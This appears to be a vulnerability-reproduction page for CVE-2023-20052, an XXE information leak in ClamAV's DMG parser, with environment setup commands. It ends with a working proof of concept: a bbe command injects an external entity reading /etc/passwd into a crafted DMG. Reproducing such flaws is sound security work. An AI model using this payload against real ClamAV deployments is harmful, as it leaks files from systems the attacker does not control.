CVE-2023-20052 information leak vulnerability in the DMG file parser of ClamAV
A vulnerability in the DMG file parser of ClamAV versions 1.0.0 and earlier, 0.105.1 and earlier, and 0.103.7 and earlier could allow an unauthenticated, remote attacker to access sensitive information on an affected device. This vulnerability is due to enabling XML entity substitution that may result in XML external entity injection. An attacker could exploit this vulnerability by submitting a crafted DMG file to be scanned by ClamAV on an affected device. A successful exploit could allow the attacker to leak bytes from any file that may be read by the ClamAV scanning process.
- https://github.com/Cisco-Talos/clamav/releases/download/clamav-1.0.0/clamav-1.0.0.linux.i686.deb
- https://github.com/Cisco-Talos/clamav/releases/download/clamav-1.0.0/clamav-1.0.0.linux.x86_64.deb
-
sudo apt install -f
-
mkdir /usr/local/share/clamav
-
mv /usr/local/etc/freshclam.conf.sample /usr/local/etc/freshclam.conf
-
sudo chown -R 1002:1003 /usr/local/share/clamav
-
apt-get update
-
apt-get install -y ca-certificates gnupg wget
-
echo "deb http://archive.debian.org/debian-security stretch/updates main" >> /etc/apt/sources.list
-
wget -q -O - https://ftp-master.debian.org/keys/archive-key-9-security.asc | apt-key add -
-
apt-get update -y
-
sudo apt install -y libssl1.0-dev gcc g++ cmake zlib1g-dev genisoimage bbe git hfsplus
-
cd /libdmg-hfsplus
-
cp dmg/dmg /bin
sudo genisoimage -D -V "exploit" -no-pad -r -apple -file-mode 0777 -o test.img . && dmg dmg test.img test.dmg
bbe -e 's|<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">|<!DOCTYPE plist [<!ENTITY xxe SYSTEM "/etc/passwd"> ]>|' -e 's/blkx/&xxe\;/' test.dmg -o exploit2.dmg